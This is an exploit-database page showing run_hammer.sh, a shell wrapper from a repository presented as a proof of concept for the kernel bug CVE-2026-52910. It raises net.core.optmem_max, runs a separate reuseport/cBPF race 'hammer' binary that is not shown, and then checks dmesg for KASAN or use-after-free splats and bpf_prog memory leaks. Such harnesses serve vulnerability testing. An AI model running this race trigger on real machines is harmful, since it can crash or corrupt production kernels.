Exploit databaseDownload repository ZIP
GH-7d1aaeff8ac8fe1afdef791e24c268cc
yolkfull/cve-2026-52910-poc
Sources for CVE-2026-52910
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
yolkfull/cve-2026-52910-pocRevision ec329d019c77
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
run_hammer.sh
Shell · 4,796 bytes#!/usr/bin/env bash
# SPDX-License-Identifier: GPL-2.0
#
# run_hammer.sh — CVE-2026-52910 hammer wrapper
#
# Wraps reuseport_race_hammer with:
# 1. pre/post /proc/vmallocinfo "bpf_prog" snapshot (deferred-free drain check)
# 2. dmesg new-splat scan (BUG:/KASAN/Oops/WARNING/reuseport/livepatch/...)
# 3. optional kmemleak scan (if /sys/kernel/debug/kmemleak exists)
#
# Usage: ./run_hammer.sh <dur_sec> [hammer args...]
# e.g. ./run_hammer.sh 86400 512 8 16 4 127.0.0.1 0
#
# Env:
# HAMMER path to hammer binary (default ./reuseport_race_hammer)
# DRAIN seconds to wait after hammer for RCU/workqueue deferred frees
# to drain before the vmalloc snapshot (default 30)
# OPTMEM_MAX value to set net.core.optmem_max to BEFORE the hammer runs, so
# large cBPF filters attach without ENOMEM (default 131072;
# set 0 to skip the sysctl entirely)
#
# Exit codes: 0 = clean, 1 = setup error, 2 = kernel splat found,
# 3 = possible bpf_prog leak, 4 = hammer integrity WARN.
set -u
DUR="${1:-300}"
shift 1 2>/dev/null || true
HAMMER="${HAMMER:-./reuseport_race_hammer}"
DRAIN="${DRAIN:-30}"
OPTMEM_MAX="${OPTMEM_MAX:-131072}"
OUT="$(mktemp -d /tmp/hammer.XXXXXX)"
trap 'rm -rf "$OUT"' EXIT
SPLAT_RE='BUG:|KASAN|Oops|WARNING:|general protection fault|vmalloc-out-of-bounds|use-after-free|reuseport|livepatch|rcu.*stall|hung task|ftrace|Call Trace|RIP:|kernel BUG'
count_bpf_prog_vmalloc() {
# bpf prog text is vmalloc'd; count live ones in /proc/vmallocinfo.
# Line format is "<start>-<end> <size> <caller>+<off>/<len>", so the
# allocating symbol is field 3 (bpf_prog_alloc / bpf_prog_alloc_no_stats),
# NOT field 2 (that is the allocation size).
awk '$3 ~ /^bpf_prog/ {n++} END {print n+0}' /proc/vmallocinfo 2>/dev/null
}
vmallocinfo_ok=0
head -c 1 /proc/vmallocinfo >/dev/null 2>&1 && vmallocinfo_ok=1
dmesg_lines() {
dmesg 2>/dev/null | wc -l
}
echo "== run_hammer.sh: dur=${DUR}s args='$*' drain=${DRAIN}s =="
[ -x "$HAMMER" ] || { echo "hammer not found/executable: $HAMMER"; exit 1; }
VM_PRE="$(count_bpf_prog_vmalloc)"
DM_PRE="$(dmesg_lines)"
echo "pre : vmalloc bpf_prog=${VM_PRE} dmesg_lines=${DM_PRE}"
# ---- raise optmem_max BEFORE the hammer runs ----
# SO_ATTACH_REUSEPORT_CBPF stores the filter on the socket, bounded by
# net.core.optmem_max; distro defaults (often 20480) are too small for the
# hammer's multi-KB filters, which makes the attach fail with ENOMEM.
if [ "${OPTMEM_MAX}" -gt 0 ] 2>/dev/null; then
if sysctl -w "net.core.optmem_max=${OPTMEM_MAX}" >/dev/null 2>&1; then
echo "net.core.optmem_max set to ${OPTMEM_MAX}"
else
echo "note: could not set net.core.optmem_max (not root?) — continuing anyway"
fi
fi
# ---- run the hammer ----
"$HAMMER" "$DUR" "$@" 2>&1 | tee "$OUT/hammer.log"
RC_HAMMER="${PIPESTATUS[0]}"
# ---- let deferred frees drain (RCU grace period + workqueue) ----
echo "waiting ${DRAIN}s for RCU/workqueue deferred frees to drain..."
sleep "$DRAIN"
VM_POST="$(count_bpf_prog_vmalloc)"
DM_POST="$(dmesg_lines)"
echo "post: vmalloc bpf_prog=${VM_POST} dmesg_lines=${DM_POST}"
RC=0
# ---- 1. dmesg new-splat scan ----
dmesg 2>/dev/null | tail -n +"$((DM_PRE + 1))" > "$OUT/dmesg_new.txt"
grep -E "$SPLAT_RE" "$OUT/dmesg_new.txt" > "$OUT/splat.txt" || true
if [ -s "$OUT/splat.txt" ]; then
echo "==> FAIL: kernel splats found (see below / $OUT/dmesg_new.txt)"
head -50 "$OUT/splat.txt"
RC=2
else
echo "==> dmesg: clean (no new splat)"
fi
# ---- 2. bpf_prog vmalloc leak check ----
if [ "$vmallocinfo_ok" -eq 0 ]; then
echo "==> note: /proc/vmallocinfo not readable (need root) — leak check skipped"
elif [ "${VM_POST}" -gt "${VM_PRE}" ]; then
echo "==> WARN: bpf_prog vmalloc grew ${VM_PRE} -> ${VM_POST} after drain"
echo " (small growth can be other progs on the system; re-run when idle)"
RC=3
else
echo "==> vmalloc bpf_prog: stable (${VM_PRE} -> ${VM_POST})"
fi
# ---- 3. kmemleak scan (if enabled) ----
if [ -f /sys/kernel/debug/kmemleak ]; then
echo scan > /sys/kernel/debug/kmemleak 2>/dev/null
if [ -s /sys/kernel/debug/kmemleak ]; then
echo "==> WARN: kmemleak reported leaks:"
head -30 /sys/kernel/debug/kmemleak
[ "$RC" -eq 0 ] && RC=3
else
echo "==> kmemleak: clean"
fi
fi
# ---- 4. hammer's own result (setup error / integrity check) ----
if [ "$RC_HAMMER" -eq 1 ] && [ "$RC" -eq 0 ]; then
echo "==> FAIL: hammer reported a setup/runtime error (see log above)"
RC=1
fi
if [ "$RC_HAMMER" -eq 2 ] && [ "$RC" -eq 0 ]; then
echo "==> WARN: hammer integrity check failed (measure-phase mismatch)"
RC=4
fi
echo "== result: RC=${RC} (0 clean / 1 setup / 2 splat / 3 leak / 4 integrity) =="
exit "$RC"